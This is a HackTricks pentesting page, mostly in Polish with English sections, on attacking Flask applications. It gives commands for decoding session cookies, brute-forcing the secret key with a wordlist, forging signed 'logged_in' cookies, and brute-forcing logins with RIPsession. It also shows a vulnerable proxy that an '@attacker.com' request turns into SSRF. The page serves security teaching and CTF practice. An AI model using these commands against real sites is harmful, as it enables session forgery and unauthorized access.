hacktricks/network-services-pentesting/pentesting-web/flask.md
2024-02-11 01:46:25 +00:00

9.8 KiB

Flask

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Prawdopodobnie, jeśli grasz w CTF, aplikacja Flask będzie związana z SSTI.

Ciasteczka (Cookies)

Domyślna nazwa sesji ciasteczka to session.

Dekoder

Onlineowy dekoder ciasteczek Flask: https://www.kirsle.net/wizards/flask-session.cgi

Ręczny

Pobierz pierwszą część ciasteczka do pierwszej kropki i zdekoduj Base64>

echo "ImhlbGxvIg" | base64 -d

Ciasteczko jest również podpisane za pomocą hasła

Flask-Unsign

Narzędzie wiersza poleceń do pobierania, dekodowania, prób łamania i tworzenia ciasteczek sesji aplikacji Flask przez zgadywanie kluczy tajnych.

{% embed url="https://pypi.org/project/flask-unsign/" %}

pip3 install flask-unsign

Dekodowanie ciasteczka

To decode a Flask cookie, you can use the itsdangerous library, which is included in Flask. The itsdangerous library provides a URLSafeTimedSerializer class that can be used to decode and verify the integrity of the cookie.

from itsdangerous import URLSafeTimedSerializer

def decode_cookie(cookie_value, secret_key):
    serializer = URLSafeTimedSerializer(secret_key)
    try:
        decoded_data = serializer.loads(cookie_value)
        return decoded_data
    except Exception as e:
        return None

In the code above, the decode_cookie function takes two parameters: cookie_value and secret_key. The cookie_value parameter is the value of the cookie that you want to decode, and the secret_key parameter is the secret key used to sign the cookie.

The function creates an instance of the URLSafeTimedSerializer class with the provided secret_key. It then attempts to decode the cookie_value using the loads method of the serializer. If the decoding is successful, the decoded data is returned. If an exception occurs during the decoding process, None is returned.

Keep in mind that decoding a cookie does not necessarily mean that you can modify its contents. The itsdangerous library also verifies the integrity of the cookie, so if the cookie has been tampered with, the decoding process will fail.

flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Atak Brute Force

Brute Force to technika polegająca na próbie odgadnięcia hasła lub klucza, poprzez wypróbowanie wszystkich możliwych kombinacji. W przypadku aplikacji Flask, atak Brute Force może być stosowany do próby odgadnięcia hasła administratora lub innych poufnych informacji. Aby przeprowadzić atak Brute Force na aplikację Flask, można użyć narzędzi takich jak Hydra lub Burp Suite.

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Podpisywanie

Flask provides a built-in mechanism for signing data to ensure its integrity and authenticity. This can be useful in scenarios where you want to verify that the data has not been tampered with.

Flask uses a secret key to sign the data. This secret key should be kept secure and should not be shared with anyone. It is recommended to store the secret key in an environment variable or a configuration file.

To sign data in Flask, you can use the itsdangerous module, which is included with Flask. This module provides the URLSafeSerializer class, which can be used to sign and verify data.

Here is an example of how to sign data using Flask:

from flask import Flask
from itsdangerous import URLSafeSerializer

app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key'

@app.route('/')
def index():
    s = URLSafeSerializer(app.config['SECRET_KEY'])
    data = {'username': 'john', 'admin': False}
    signed_data = s.dumps(data)
    return signed_data

if __name__ == '__main__':
    app.run()

In this example, we create an instance of the URLSafeSerializer class with the secret key from the Flask app's configuration. We then use the dumps() method to sign the data and return the signed data.

To verify the signed data, you can use the loads() method of the URLSafeSerializer class. Here is an example:

from flask import Flask
from itsdangerous import URLSafeSerializer, BadSignature

app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key'

@app.route('/')
def index():
    s = URLSafeSerializer(app.config['SECRET_KEY'])
    signed_data = 'eyJ1c2VybmFtZSI6ICJqb2huIiwgImFkbWluIjogRmFsc2V9.XXX'
    try:
        data = s.loads(signed_data)
        return str(data)
    except BadSignature:
        return 'Invalid signature'

if __name__ == '__main__':
    app.run()

In this example, we use the loads() method to verify the signed data. If the signature is valid, the original data is returned. If the signature is invalid, a BadSignature exception is raised.

By using the signing mechanism provided by Flask, you can ensure the integrity and authenticity of your data, helping to prevent tampering and unauthorized access.

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Podpisywanie za pomocą starszych wersji

To jest metoda podpisywania, która jest stosowana w starszych wersjach.

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Narzędzie wiersza poleceń do brute-force'owania stron internetowych przy użyciu ciasteczek stworzonych za pomocą flask-unsign.

{% embed url="https://github.com/Tagvi/ripsession" %}

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

SQLi w ciasteczku sesji Flask z użyciem SQLmap

Ten przykład wykorzystuje opcję eval w sqlmap do automatycznego podpisywania ładunków sqlmap dla Flaska przy użyciu znanego sekretu.

Proxy Flask do SSRF

W tym artykule wyjaśnione jest, jak Flask pozwala na żądanie rozpoczynające się od znaku "@":

GET @/ HTTP/1.1
Host: target.com
Connection: close

W przypadku następującego scenariusza:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Można pozwolić na wprowadzenie czegoś takiego jak "@attacker.com", aby spowodować SSRF.

Użyj Trickest, aby łatwo tworzyć i automatyzować zadania przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: